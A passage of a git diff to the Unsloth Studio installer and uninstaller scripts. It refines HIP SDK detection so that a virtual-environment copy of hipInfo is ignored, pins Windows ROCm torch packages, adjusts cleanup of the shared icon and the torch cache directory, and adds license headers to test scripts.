 _remove_path "$HOME/.unsloth/.staging"
+# llama.cpp install lock (serializes the shared build); a stray one keeps ~/.unsloth
+# from being pruned below. No-op in env/custom mode and when absent.
+_remove_path "$HOME/.unsloth/.llama.cpp.install.lock"
 # ROCm-on-WSL helper artifacts (librocdxg build clone + smoke-test venv). No-op
 # where they don't exist; removing them lets the rmdir below succeed.
 _remove_path "$HOME/.unsloth/librocdxg"
@@ -298,11 +304,50 @@ case "$_os" in
                                 Remove-Item -LiteralPath $_.FullName -Force -ErrorAction SilentlyContinue
                             } catch { }
                         }
+                    }
+                    # Keep the shared icon while any Unsloth shortcut still uses it (native
+                    # install or another WSL distro); drop it only with the last one.
+                    $iconInUse = $false;
+                    foreach ($d in $dirs) {
+                        if (-not $d -or -not (Test-Path -LiteralPath $d)) { continue }
+                        if (Get-ChildItem -LiteralPath $d -Filter "Unsloth Studio*.lnk" -ErrorAction SilentlyContinue) { $iconInUse = $true; break }
+                    }
+                    # Guard LOCALAPPDATA: empty on a service/SYSTEM account makes
+                    # Join-Path throw, aborting the icon cleanup (mirror uninstall.ps1).
+                    if (-not [string]::IsNullOrWhiteSpace($env:LOCALAPPDATA)) {
+                        $iconDir = Join-Path $env:LOCALAPPDATA "Unsloth Studio";
+                        $ico = Join-Path $iconDir "unsloth.ico";
+                        if ((-not $iconInUse) -and (Test-Path -LiteralPath $ico)) { Remove-Item -LiteralPath $ico -Force -ErrorAction SilentlyContinue }
+                        if ((Test-Path -LiteralPath $iconDir) -and -not (Get-ChildItem -LiteralPath $iconDir -Force -ErrorAction SilentlyContinue)) { Remove-Item -LiteralPath $iconDir -Recurse -Force -ErrorAction SilentlyContinue }
                     }' >/dev/null 2>&1 || true
             fi
-            # Fallback when powershell.exe can't run (interop disabled): remove the
-            # WSL .lnk files via drvfs. The "Unsloth Studio (WSL..." name is
-            # WSL-specific, so a native install's "Unsloth Studio.lnk" never matches.
+            # Remove $1's shared unsloth.ico only if no Unsloth shortcut (native install
+            # or another WSL distro) still uses it, then drop the dir if empty. Reciprocal
+            # of uninstall.ps1's _RemoveDataDirKeepingWslIcon (keeps the icon for a
+            # surviving WSL shortcut when the native side is removed).
+            _drop_shared_icon_if_unused() {
+                _du="$1"
+                _icodir="$_du/AppData/Local/Unsloth Studio"
+                _icon_in_use=0
+                for _sd in \
+                    "$_du/Desktop" \
+                    "$_du/OneDrive/Desktop" \
+                    "$_du"/OneDrive*/Desktop \
+                    "$_du/AppData/Roaming/Microsoft/Windows/Start Menu/Programs"; do
+                    [ -d "$_sd" ] || continue
+                    for _any in "$_sd"/"Unsloth Studio"*.lnk; do
+                        [ -e "$_any" ] && { _icon_in_use=1; break; }
+                    done
+                    [ "$_icon_in_use" = "1" ] && break
+                done
+                if [ "$_icon_in_use" = "0" ]; then
+                    [ -f "$_icodir/unsloth.ico" ] && rm -f "$_icodir/unsloth.ico" 2>/dev/null || true
+                fi
+                [ -d "$_icodir" ] && rmdir "$_icodir" 2>/dev/null || true
+            }
+            # Fallback when powershell.exe can't run (interop disabled): remove WSL .lnk
+            # files via drvfs. The "Unsloth Studio (WSL..." name is WSL-specific, so a
+            # native install's "Unsloth Studio.lnk" never matches.
             if [ "$_ps_ran" = "0" ]; then
                 for _drive in /mnt/c /mnt/d /mnt/e; do
                     [ -d "$_drive/Users" ] || continue
@@ -325,6 +370,8 @@ case "$_os" in
                                 done
                             fi
                         done
+                        # Drop the shared icon only when no shortcut still needs it.
+                        _drop_shared_icon_if_unused "$_udir"
                     done
                 done
             fi
diff --git a/studio/backend/utils/hardware/amd.py b/studio/backend/utils/hardware/amd.py
index 27dfe187cc..f5b64c45d0 100644
--- a/studio/backend/utils/hardware/amd.py
+++ b/studio/backend/utils/hardware/amd.py
@@ -34,14 +34,53 @@ _amd_smi_consecutive_failures = 0
 _amd_smi_disabled = False
 
 
+def _path_inside_venv(path: str) -> bool:
+    """True if ``path`` is inside the active venv (sys.prefix).
+
+    The venv hipInfo.exe (AMD wheel, put on PATH by main.py/worker.py for
+    bitsandbytes) is NOT a HIP SDK (see _hip_sdk_present)."""
+    try:
+        # realpath (not abspath): resolve symlinks/8.3 names so an aliased venv matches.
+        root = os.path.normcase(os.path.realpath(sys.prefix))
+        # Guard a root-dir prefix (C:\ or /): commonpath would match every path on
+        # it. A venv is never at root, so treat that as outside.
+        if os.path.dirname(root) == root:
+            return False
+        return os.path.normcase(os.path.commonpath([os.path.realpath(path), root])) == root
+    except (ValueError, OSError):
+        # Different drive / unresolvable -> treat as outside the venv.
+        return False
+
+
+def _external_hipinfo_on_path() -> bool:
+    """True if a hipinfo OUTSIDE the venv is on PATH.
+
+    shutil.which returns only the first hit, so the venv hipInfo could shadow a
+    real HIP SDK's; scan every PATH entry and skip the venv copy."""
+    for directory in os.environ.get("PATH", "").split(os.pathsep):
+        directory = directory.strip('"')  # PATH entries can be quoted on Windows
+        if not directory:
+            continue
+        candidate = os.path.join(directory, "hipinfo.exe")
+        if os.path.isfile(candidate) and not _path_inside_venv(candidate):
+            return True
+    return False
+
+
 def _hip_sdk_present() -> bool:
     """True if a HIP SDK is detectable (hipinfo on PATH or under HIP_PATH/
-    ROCM_PATH), meaning amd-smi has a working runtime and runs un-elevated."""
-    if shutil.which("hipinfo"):
+    ROCM_PATH), so amd-smi has a runtime and runs un-elevated.
+
+    Ignores the venv hipInfo.exe (AMD wheel via the bnb fix): not a HIP SDK, and
+    doesn't stop amd-smi's DiskPart UAC."""
+    if _external_hipinfo_on_path():
         return True
     for var in ("HIP_PATH", "HIP_PATH_57", "ROCM_PATH"):
         root = os.environ.get(var)
-        if root and os.path.exists(os.path.join(root, "bin", "hipinfo.exe")):
+        if not root:
+            continue
+        candidate = os.path.join(root, "bin", "hipinfo.exe")
+        if os.path.exists(candidate) and not _path_inside_venv(candidate):
             return True
     return False
 
diff --git a/studio/install_llama_prebuilt.py b/studio/install_llama_prebuilt.py
index 569431b71e..1823a0f67e 100644
--- a/studio/install_llama_prebuilt.py
+++ b/studio/install_llama_prebuilt.py
@@ -54,6 +54,39 @@ if platform.system() == "Windows":
     os.environ.setdefault("__COMPAT_LAYER", "RunAsInvoker")
 
 
+def _path_inside_venv(path: str) -> bool:
+    """True if ``path`` is inside the active venv (sys.prefix).
+
+    The venv hipInfo.exe (AMD wheel, put on PATH by the bnb fix) is NOT a HIP SDK
+    (_amd_smi_allowed)."""
+    try:
+        # realpath (not abspath): resolve symlinks/8.3 names so an aliased venv matches.
+        _root = os.path.normcase(os.path.realpath(sys.prefix))
+        # Guard a root-dir prefix (C:\ or /): commonpath would match every path on
+        # it. A venv is never at root, so treat that as outside.
+        if os.path.dirname(_root) == _root:
+            return False
+        return os.path.normcase(os.path.commonpath([os.path.realpath(path), _root])) == _root
+    except (ValueError, OSError):
+        # Different drive / unresolvable -> treat as outside the venv.
+        return False
+
+
+def _external_hipinfo_on_path() -> bool:
+    """True if a hipinfo OUTSIDE the venv is on PATH.
+
+    shutil.which returns only the first hit, so the venv hipInfo could shadow a
+    real HIP SDK's; scan every PATH entry and skip the venv copy."""
+    for _dir in os.environ.get("PATH", "").split(os.pathsep):
+        _dir = _dir.strip('"')  # PATH entries can be quoted on Windows
+        if not _dir:
+            continue
+        _candidate = os.path.join(_dir, "hipinfo.exe")
+        if os.path.isfile(_candidate) and not _path_inside_venv(_candidate):
+            return True
+    return False
+
+
 def _amd_smi_allowed() -> bool:
     """Whether it is safe to spawn amd-smi here.
 
@@ -70,11 +103,17 @@ def _amd_smi_allowed() -> bool:
         return True
     if flag in ("0", "false", "no", "off"):
         return False
-    if shutil.which("hipinfo"):
+    # A real HIP SDK lets amd-smi run un-elevated; hipinfo-on-PATH is the proxy.
+    # Ignore the venv hipInfo.exe (AMD wheel via bnb fix): not a HIP SDK, doesn't
+    # stop amd-smi's DiskPart UAC.
+    if _external_hipinfo_on_path():
         return True
     for _var in ("HIP_PATH", "HIP_PATH_57", "ROCM_PATH"):
         _root = os.environ.get(_var)
-        if _root and os.path.isfile(os.path.join(_root, "bin", "hipinfo.exe")):
+        if not _root:
+            continue
+        _candidate = os.path.join(_root, "bin", "hipinfo.exe")
+        if os.path.isfile(_candidate) and not _path_inside_venv(_candidate):
             return True
     return False
 
diff --git a/studio/install_python_stack.py b/studio/install_python_stack.py
index b2de6592c8..1c3918f900 100644
--- a/studio/install_python_stack.py
+++ b/studio/install_python_stack.py
@@ -87,6 +87,17 @@ _ROCM_TORCH_PKG_SPECS: dict[str, tuple[str, str, str]] = {
         "torchaudio>=2.4,<2.11.0",
     ),
 }
+# Windows AMD per-arch companion pins for the repo.amd.com index, mirroring the
+# install.ps1 / setup.ps1 floor maps (gfx120X and Strix Halo/Point use the rocm7.2
+# torch 2.11 trio). Pinning the companions keeps AMD's per-arch index -- which
+# publishes each independently -- from resolving an ABI-mismatched one. Unlisted
+# arches have no published floor, so stay bare. Bump with the PS maps at 2.12.x.
+_WINDOWS_ROCM_TORCH_PKG_SPECS: dict[str, tuple[str, str, str]] = {
+    "gfx1201": _ROCM_TORCH_PKG_SPECS["rocm7.2"],
+    "gfx1200": _ROCM_TORCH_PKG_SPECS["rocm7.2"],
+    "gfx1151": _ROCM_TORCH_PKG_SPECS["rocm7.2"],
+    "gfx1150": _ROCM_TORCH_PKG_SPECS["rocm7.2"],
+}
 _PYTORCH_WHL_BASE = (
     os.environ.get("UNSLOTH_PYTORCH_MIRROR") or "https://download.pytorch.org/whl"
 ).rstrip("/")
@@ -235,6 +246,39 @@ def _amd_smi_env() -> dict[str, str] | None:
     return {**os.environ, "__COMPAT_LAYER": "RunAsInvoker"}
 
 
+def _path_inside_venv(path: str) -> bool:
+    """True if ``path`` is inside the active venv (sys.prefix).
+
+    The venv hipInfo.exe (AMD wheel, put on PATH by the bnb fix) is NOT a HIP SDK
+    (_amd_smi_allowed)."""
+    try:
+        # realpath (not abspath): resolve symlinks/8.3 names so an aliased venv matches.
+        _root = os.path.normcase(os.path.realpath(sys.prefix))
+        # Guard a root-dir prefix (C:\ or /): commonpath would match every path on
+        # it. A venv is never at root, so treat that as outside.
+        if os.path.dirname(_root) == _root:
+            return False
+        return os.path.normcase(os.path.commonpath([os.path.realpath(path), _root])) == _root
+    except (ValueError, OSError):
+        # Different drive / unresolvable -> treat as outside the venv.
+        return False
+
+
+def _external_hipinfo_on_path() -> bool:
+    """True if a hipinfo OUTSIDE the venv is on PATH.
+
+    shutil.which returns only the first hit, so the venv hipInfo could shadow a
+    real HIP SDK's; scan every PATH entry and skip the venv copy."""
+    for _dir in os.environ.get("PATH", "").split(os.pathsep):
+        _dir = _dir.strip('"')  # PATH entries can be quoted on Windows
+        if not _dir:
+            continue
+        _candidate = os.path.join(_dir, "hipinfo.exe")
+        if os.path.isfile(_candidate) and not _path_inside_venv(_candidate):
+            return True
+    return False
+
+
 def _amd_smi_allowed() -> bool:
     """Whether it is safe to spawn amd-smi here.
 
@@ -249,11 +293,17 @@ def _amd_smi_allowed() -> bool:
         return True
     if flag in ("0", "false", "no", "off"):
         return False
-    if shutil.which("hipinfo"):
+    # A real HIP SDK lets amd-smi run un-elevated; hipinfo-on-PATH is the proxy.
+    # Ignore the venv hipInfo.exe (AMD wheel via bnb fix): not a HIP SDK, doesn't
+    # stop amd-smi's DiskPart UAC.
+    if _external_hipinfo_on_path():
         return True
     for _var in ("HIP_PATH", "HIP_PATH_57", "ROCM_PATH"):
         _root = os.environ.get(_var)
-        if _root and os.path.isfile(os.path.join(_root, "bin", "hipinfo.exe")):
+        if not _root:
+            continue
+        _candidate = os.path.join(_root, "bin", "hipinfo.exe")
+        if os.path.isfile(_candidate) and not _path_inside_venv(_candidate):
             return True
     return False
 
@@ -1096,16 +1146,32 @@ def _ensure_rocm_torch() -> None:
                 print(f"   No AMD Windows torch index for GPU arch {gfx_arch} -- skipping")
                 return
             print(f"   {gfx_arch} (Windows) -- installing torch from {index_url}")
-            pip_install(
+            # Pin companions for the arches install.ps1/setup.ps1 pin (gfx120X /
+            # Strix) so the per-arch index resolves an ABI-consistent trio; other
+            # arches stay bare (no published floor), matching the PowerShell side.
+            _torch_pkg, _vision_pkg, _audio_pkg = _WINDOWS_ROCM_TORCH_PKG_SPECS.get(
+                gfx_arch, ("torch", "torchvision", "torchaudio")
+            )
+            # Nonfatal: a transient AMD-index failure must not abort the whole
+            # install once the PowerShell side has fallen back to CPU torch.
+            # --force-reinstall resolves before uninstalling, so a failed index
+            # leaves the existing build intact; keep it and let the user retry.
+            if not pip_install_try(
                 f"ROCm torch (Windows, {gfx_arch})",
                 "--force-reinstall",
                 "--index-url",
                 index_url,
-                "torch",
-                "torchvision",
-                "torchaudio",
+                _torch_pkg,
+                _vision_pkg,
+                _audio_pkg,
                 constrain = False,
-            )
+            ):
+                print(
+                    f"   Warning: AMD Windows ROCm torch install failed for {gfx_arch}; "
+                    "keeping the existing torch build. Re-run 'unsloth studio update' "
+                    "later to retry ROCm."
+                )
+                return
         # ROCm torch is installed (or already was); flag it so later phases
         # do not overwrite it with the generic CPU torch wheel. BNB is a
         # separate dependency -- a BNB install failure must NOT roll back the
diff --git a/studio/setup.ps1 b/studio/setup.ps1
index 20d53734a1..20f5bd1ada 100644
--- a/studio/setup.ps1
+++ b/studio/setup.ps1
@@ -1053,22 +1053,79 @@ $script:ROCmGfxArch = $null
 if (-not $HasNvidiaSmi) {
     # hipinfo: PATH first, then HIP_PATH/ROCM_PATH bin fallback (mirrors NVIDIA smi path resolution).
     # AMD HIP SDK sets HIP_PATH but may not add the bin dir to PATH depending on install type.
-    $hipinfoExe = Get-Command hipinfo -ErrorAction SilentlyContinue
-    if (-not $hipinfoExe) {
-        $hipRoot     = if ($env:HIP_PATH) { $env:HIP_PATH } elseif ($env:ROCM_PATH) { $env:ROCM_PATH } else { $null }
-        $hipEnvLabel = if ($env:HIP_PATH) { "HIP_PATH"    } else                    { "ROCM_PATH"    }
-        if ($hipRoot) {
-            $hipinfoCandidate = Join-Path $hipRoot "bin\hipinfo.exe"
-            if (Test-Path $hipinfoCandidate) {
-                substep "[WARN] hipinfo not on PATH -- located via ${hipEnvLabel}: $hipinfoCandidate" "Yellow"
-                substep "       Add '$(Join-Path $hipRoot 'bin')' to your PATH to suppress this warning" "Yellow"
-                substep "       Quick fix: [Environment]::SetEnvironmentVariable('PATH',`$env:PATH+';$(Join-Path $hipRoot 'bin')','User')" "Yellow"
-                $hipinfoExe = [PSCustomObject]@{ Source = $hipinfoCandidate }
-            } else {
-                substep "[WARN] ${hipEnvLabel}=$hipRoot is set but hipinfo.exe not found at $hipinfoCandidate" "Yellow"
-                substep "       HIP SDK install may be incomplete -- re-install from:" "Yellow"
-                substep "       https://rocm.docs.amd.com/en/latest/deploy/windows/index.html" "Yellow"
+    # Ignore the venv hipInfo.exe (AMD wheel, on PATH): not a HIP SDK, so amd-smi
+    # would still auto-elevate. Cf. _path_inside_venv().
+    function Test-HipinfoIsVenvInternal {
+        param([AllowNull()][string]$HipinfoPath)
+        if ([string]::IsNullOrWhiteSpace($HipinfoPath)) { return $false }
+        # VenvDir/VIRTUAL_ENV can be unset this early (the update flow probes before
+        # VenvDir is set), so also derive the venv from the setup python + default
+        # Studio home, else the venv hipInfo isn't caught.
+        $venvRoots = @()
+        if ($env:VIRTUAL_ENV) { $venvRoots += $env:VIRTUAL_ENV }
+        $vd = Get-Variable -Name VenvDir -ValueOnly -ErrorAction SilentlyContinue
+        if ($vd) { $venvRoots += $vd }
+        if ($env:UNSLOTH_SETUP_PYTHON) {
+            try { $venvRoots += (Split-Path -Parent (Split-Path -Parent $env:UNSLOTH_SETUP_PYTHON)) } catch {}
+        }
+        if ($env:USERPROFILE) { $venvRoots += (Join-Path $env:USERPROFILE ".unsloth\studio\unsloth_studio") }
+        # A custom Studio home (UNSLOTH_STUDIO_HOME / STUDIO_HOME alias) moves the
+        # venv off the default path; seed it too or its hipInfo escapes the filter.
+        $studioHomeEnv = if (-not [string]::IsNullOrWhiteSpace($env:UNSLOTH_STUDIO_HOME)) { $env:UNSLOTH_STUDIO_HOME.Trim() } elseif (-not [string]::IsNullOrWhiteSpace($env:STUDIO_HOME)) { $env:STUDIO_HOME.Trim() } else { $null }
+        if ($studioHomeEnv) {
+            # Expand a leading ~ like the canonical resolver below; else GetFullPath
+            # keeps the literal ~ (cwd-relative) and the hipInfo escapes the filter.
+            if (($studioHomeEnv -eq "~" -or $studioHomeEnv -like "~/*" -or $studioHomeEnv -like "~\*") -and -not [string]::IsNullOrWhiteSpace($env:USERPROFILE)) {
+                # A bare "~" leaves an empty child path; Join-Path rejects that on
+                # PS 5.1, so use USERPROFILE directly and only join a real remainder.
+                $studioHomeRest = $studioHomeEnv.Substring(1).TrimStart('/', '\')
+                $studioHomeEnv = if ($studioHomeRest) { Join-Path $env:USERPROFILE $studioHomeRest } else { $env:USERPROFILE }
             }
+            $venvRoots += (Join-Path $studioHomeEnv "unsloth_studio")
+        }
+        try { $hip = [System.IO.Path]::GetFullPath($HipinfoPath).TrimEnd('\', '/') } catch { return $false }
+        foreach ($root in $venvRoots) {
+            if ([string]::IsNullOrWhiteSpace($root)) { continue }
+            try { $r = [System.IO.Path]::GetFullPath($root).TrimEnd('\', '/') } catch { continue }
+            # Skip a bare drive root (e.g. a non-venv UNSLOTH_SETUP_PYTHON like
+            # C:\Python311\python.exe yields C:) -- it would match every path on that drive.
+            if ($r -match '^[a-zA-Z]:$') { continue }
+            if ($hip.Equals($r, [System.StringComparison]::OrdinalIgnoreCase) -or
+                $hip.StartsWith($r + [System.IO.Path]::DirectorySeparatorChar, [System.StringComparison]::OrdinalIgnoreCase)) {
+                return $true
+            }
+        }
+        return $false
+    }
+    # Scan all hipinfo and keep the first non-venv one (the venv copy from the
+    # bnb fix could shadow a real HIP SDK's). -CommandType Application matches
+    # only real executables, not a user alias/function named hipinfo.
+    $hipinfoExe = Get-Command hipinfo -CommandType Application -All -ErrorAction SilentlyContinue |
+        Where-Object { -not (Test-HipinfoIsVenvInternal $_.Source) } |
+        Select-Object -First 1
+    if (-not $hipinfoExe) {
+        # Iterate the env roots (mirrors the Python list) and take the first non-venv
+        # bin\hipinfo.exe, so a venv-internal HIP_PATH can't mask a real SDK in ROCM_PATH.
+        $hipMissingLabel = $null; $hipMissingRoot = $null; $hipMissingCandidate = $null
+        foreach ($hipEnvLabel in @("HIP_PATH", "HIP_PATH_57", "ROCM_PATH")) {
+            $hipRoot = [Environment]::GetEnvironmentVariable($hipEnvLabel)
+            if ([string]::IsNullOrWhiteSpace($hipRoot)) { continue }
+            $hipinfoCandidate = Join-Path $hipRoot "bin\hipinfo.exe"
+            if (-not (Test-Path $hipinfoCandidate)) {
+                if (-not $hipMissingLabel) { $hipMissingLabel = $hipEnvLabel; $hipMissingRoot = $hipRoot; $hipMissingCandidate = $hipinfoCandidate }
+                continue
+            }
+            if (Test-HipinfoIsVenvInternal $hipinfoCandidate) { continue }   # venv copy (AMD wheel): not a HIP SDK
+            substep "[WARN] hipinfo not on PATH -- located via ${hipEnvLabel}: $hipinfoCandidate" "Yellow"
+            substep "       Add '$(Join-Path $hipRoot 'bin')' to your PATH to suppress this warning" "Yellow"
+            substep "       Quick fix: [Environment]::SetEnvironmentVariable('PATH',`$env:PATH+';$(Join-Path $hipRoot 'bin')','User')" "Yellow"
+            $hipinfoExe = [PSCustomObject]@{ Source = $hipinfoCandidate }
+            break
+        }
+        if ((-not $hipinfoExe) -and $hipMissingLabel) {
+            substep "[WARN] ${hipMissingLabel}=$hipMissingRoot is set but hipinfo.exe not found at $hipMissingCandidate" "Yellow"
+            substep "       HIP SDK install may be incomplete -- re-install from:" "Yellow"
+            substep "       https://rocm.docs.amd.com/en/latest/deploy/windows/index.html" "Yellow"
         }
     }
     if ($hipinfoExe) {
@@ -2594,10 +2651,14 @@ if ($script:UnslothVerbose) {
 # of whether the CUDA Toolkit is installed yet.
 # The CUDA tag is chosen based on the driver's max supported CUDA version.
 
-# Windows MAX_PATH (260 chars) causes Triton kernel compilation to fail because
-# the auto-generated filenames are extremely long. Use a short cache directory.
-$TorchCacheDir = "C:\tc"
-if (-not (Test-Path $TorchCacheDir)) { New-Item -ItemType Directory -Path $TorchCacheDir -Force | Out-Null }
+# Triton/inductor filenames are long and can hit Windows MAX_PATH (260). With long
+# paths on, cache under Studio home; else use a short drive-root dir for headroom.
+if ($LongPathsEnabled) {
+    $TorchCacheDir = Join-Path $StudioHome "TORCHINDUCTOR_CACHE_DIR"
+} else {
+    $TorchCacheDir = "C:\tc"
+}
+if (-not (Test-Path -LiteralPath $TorchCacheDir)) { [System.IO.Directory]::CreateDirectory($TorchCacheDir) | Out-Null }
 $env:TORCHINDUCTOR_CACHE_DIR = $TorchCacheDir
 [Environment]::SetEnvironmentVariable('TORCHINDUCTOR_CACHE_DIR', $TorchCacheDir, 'User')
 substep "TORCHINDUCTOR_CACHE_DIR set to $TorchCacheDir (avoids MAX_PATH issues)"
@@ -2675,6 +2736,7 @@ if (($HasROCm -or $ROCmGfxArch) -and $CuTag -eq "cpu") {
 
 $PyTorchWhlBase = if ($env:UNSLOTH_PYTORCH_MIRROR) { $env:UNSLOTH_PYTORCH_MIRROR.TrimEnd('/') } else { "https://download.pytorch.org/whl" }
 
+$ROCmCpuFallback = $false
 if ($ROCmIndexUrl) {
     substep "installing PyTorch (AMD ROCm, $ROCmGfxArch)..."
     if ($ROCmTorchSpec -ne "torch") {
@@ -2692,20 +2754,29 @@ if ($ROCmIndexUrl) {
         Write-Host "[WARN] AMD ROCm PyTorch install failed -- falling back to CPU" -ForegroundColor Yellow
         Write-Host $output -ForegroundColor Yellow
         $ROCmIndexUrl = $null
+        $ROCmCpuFallback = $true
     } else {
         # Tell install_python_stack.py to skip probe + suppress manual-install warning.
         $env:UNSLOTH_ROCM_TORCH_INSTALLED = "1"
+        substep "GPU ROCm PyTorch installed ($ROCmGfxArch) -- training and GPU inference will use the GPU" "Cyan"
     }
 }
 
 if (-not $ROCmIndexUrl -and $CuTag -eq "cpu") {
     substep "installing PyTorch (CPU-only)..."
+    # After an AMD ROCm fallback, force-reinstall so a partially-installed ROCm torch
+    # (which still satisfies the CPU torch>= range) is replaced by the CPU build. Skip
+    # the forced reinstall on a genuine CPU-only host so the common path stays fast.
+    # Build the array directly: an if-expression collapses @("x") to a scalar string,
+    # which @splat would then enumerate char-by-char into broken single-letter args.
+    $cpuForce = @()
+    if ($ROCmCpuFallback) { $cpuForce = @("--force-reinstall") }
     if ($script:UnslothVerbose) {
-        Fast-Install torch torchvision torchaudio --index-url "$PyTorchWhlBase/cpu"
+        Fast-Install torch torchvision torchaudio @cpuForce --index-url "$PyTorchWhlBase/cpu"
         $torchInstallExit = $LASTEXITCODE
         $output = ""
     } else {
-        $output = Fast-Install torch torchvision torchaudio --index-url "$PyTorchWhlBase/cpu" | Out-String
+        $output = Fast-Install torch torchvision torchaudio @cpuForce --index-url "$PyTorchWhlBase/cpu" | Out-String
         $torchInstallExit = $LASTEXITCODE
     }
     if ($torchInstallExit -ne 0) {
@@ -2748,20 +2819,11 @@ if (-not $ROCmIndexUrl -and $CuTag -eq "cpu") {
     }
 }
 
-# Rename running unsloth.exe so pip can replace it (Windows refuses to delete a mapped .exe).
-$VenvScriptsDir = Join-Path $VenvDir "Scripts"
-$RunningUnslothExe = Join-Path $VenvScriptsDir "unsloth.exe"
-if (Test-Path -LiteralPath $RunningUnslothExe -PathType Leaf) {
-    $StaleUnslothExe = "$RunningUnslothExe.deleteme"
-    if (Test-Path -LiteralPath $StaleUnslothExe) {
-        Remove-Item -LiteralPath $StaleUnslothExe -Force -ErrorAction SilentlyContinue
-    }
-    try {
-        Rename-Item -LiteralPath $RunningUnslothExe -NewName "unsloth.exe.deleteme" -Force -ErrorAction Stop
-    } catch {
-        substep "could not rename unsloth.exe ($($_.Exception.Message)); pip may fail with WinError 32" "Yellow"
-    }
-}
+# No unsloth.exe rename needed. setup.ps1 runs *via* unsloth.exe, so renaming the
+# running launcher only ever failed (WinError 32) and printed a scary warning. It's
+# also unnecessary: install.ps1 sets SKIP_STUDIO_BASE=1 (base never reinstalled) and
+# 'studio update' goes through uv (--upgrade-package), whose pip fallback no-ops on
+# the already-satisfied bare unsloth/unsloth-zoo. Either way unsloth.exe stays.
 
 # Ordered heavy dependency installation -- shared cross-platform script
 substep "running ordered dependency installation..."
@@ -2772,28 +2834,6 @@ $ErrorActionPreference = $prevEAP
 if ($stackExit -ne 0) {
     Write-Host "[FAILED] Python dependency installation failed (exit code $stackExit)" -ForegroundColor Red
     Write-Host "   Re-run the installer or check the error above for details." -ForegroundColor Red
-    # Restore the pre-rename unsloth.exe so the user keeps a working CLI.
-    # Treat a zero-byte exe as "pip half-wrote a broken binary" -- prefer the
-    # stale-but-working copy in .deleteme.
-    if (Test-Path -LiteralPath "$RunningUnslothExe.deleteme") {
-        $needRestore = -not (Test-Path -LiteralPath $RunningUnslothExe)
-        if (-not $needRestore) {
-            try {
-                $needRestore = (Get-Item -LiteralPath $RunningUnslothExe -ErrorAction Stop).Length -eq 0
-            } catch { $needRestore = $true }
-        }
-        if ($needRestore) {
-            try {
-                if (Test-Path -LiteralPath $RunningUnslothExe) {
-                    Remove-Item -LiteralPath $RunningUnslothExe -Force -ErrorAction SilentlyContinue
-                }
-                Rename-Item -LiteralPath "$RunningUnslothExe.deleteme" -NewName "unsloth.exe" -Force -ErrorAction Stop
-                substep "restored unsloth.exe after failed install"
-            } catch {
-                substep "could not restore unsloth.exe ($($_.Exception.Message))" "Yellow"
-            }
-        }
-    }
     exit 1
 }
 
diff --git a/studio/src-tauri/linux/postremove.sh b/studio/src-tauri/linux/postremove.sh
index e721c39830..745f96f103 100755
--- a/studio/src-tauri/linux/postremove.sh
+++ b/studio/src-tauri/linux/postremove.sh
@@ -1,4 +1,6 @@
 #!/bin/sh
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 # Post-removal script for the Unsloth Studio Debian package
 # Runs non-interactively; never deletes user data or touches other users' homes.
 
diff --git a/studio/src-tauri/windows/sign-with-trusted-signing.ps1 b/studio/src-tauri/windows/sign-with-trusted-signing.ps1
index 405caefc50..c0d7fd517a 100644
--- a/studio/src-tauri/windows/sign-with-trusted-signing.ps1
+++ b/studio/src-tauri/windows/sign-with-trusted-signing.ps1
@@ -1,3 +1,5 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 param(
     [Parameter(Mandatory = $true)]
     [string] $Path
diff --git a/tests/run_all.sh b/tests/run_all.sh
index 4311aa4276..2c495f5561 100755
--- a/tests/run_all.sh
+++ b/tests/run_all.sh
@@ -1,4 +1,6 @@
 #!/bin/sh
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 # Run all installer tests.
 set -e
 
@@ -9,6 +11,8 @@ sh "$TESTS_DIR/sh/test_get_torch_index_url.sh"
 sh "$TESTS_DIR/sh/test_mac_intel_compat.sh"
 sh "$TESTS_DIR/sh/test_torch_constraint.sh"
 sh "$TESTS_DIR/sh/test_nvcc_meets_llama_minimum.sh"
+sh "$TESTS_DIR/sh/test_strixhalo_wsl_reroute.sh"
+sh "$TESTS_DIR/sh/test_uninstall_shared_icon.sh"
 sh "$TESTS_DIR/sh/test_torch_flavor.sh"
 
 echo ""
diff --git a/tests/saving/gpt-oss-merge/run_test.sh b/tests/saving/gpt-oss-merge/run_test.sh
index 5a91b31358..28e9c49793 100755
--- a/tests/saving/gpt-oss-merge/run_test.sh
+++ b/tests/saving/gpt-oss-merge/run_test.sh
@@ -1,4 +1,6 @@
 #!/bin/bash
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 set -e
 
 echo "================================================================"
diff --git a/tests/sh/test_get_torch_index_url.sh b/tests/sh/test_get_torch_index_url.sh
index 3dece1f69a..6656142625 100755
--- a/tests/sh/test_get_torch_index_url.sh
+++ b/tests/sh/test_get_torch_index_url.sh
@@ -1,4 +1,6 @@
 #!/bin/bash
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 # Unit tests for get_torch_index_url() from install.sh
 set -e
 
diff --git a/tests/sh/test_install_host_defaults.sh b/tests/sh/test_install_host_defaults.sh
index 7b01eaa716..8e1278b6e2 100755
--- a/tests/sh/test_install_host_defaults.sh
+++ b/tests/sh/test_install_host_defaults.sh
@@ -1,4 +1,6 @@
 #!/bin/bash
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 # Static analysis: installer scripts and README must not hard-code 0.0.0.0
 # in any user-visible default launch command. The dynamic-port launcher
 # templates and post-install hints should rely on the new loopback default.
diff --git a/tests/sh/test_mac_intel_compat.sh b/tests/sh/test_mac_intel_compat.sh
index 673fd58cd6..3c3bbfaa5f 100644
--- a/tests/sh/test_mac_intel_compat.sh
+++ b/tests/sh/test_mac_intel_compat.sh
@@ -1,4 +1,6 @@
 #!/bin/bash
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 # End-to-end sandbox tests for Mac Intel compatibility and UNSLOTH_NO_TORCH propagation.
 # Tests version_ge, arch detection (existing), plus E2E venv creation, torch skip
 # via a mock uv shim, and UNSLOTH_NO_TORCH env propagation in install.sh.
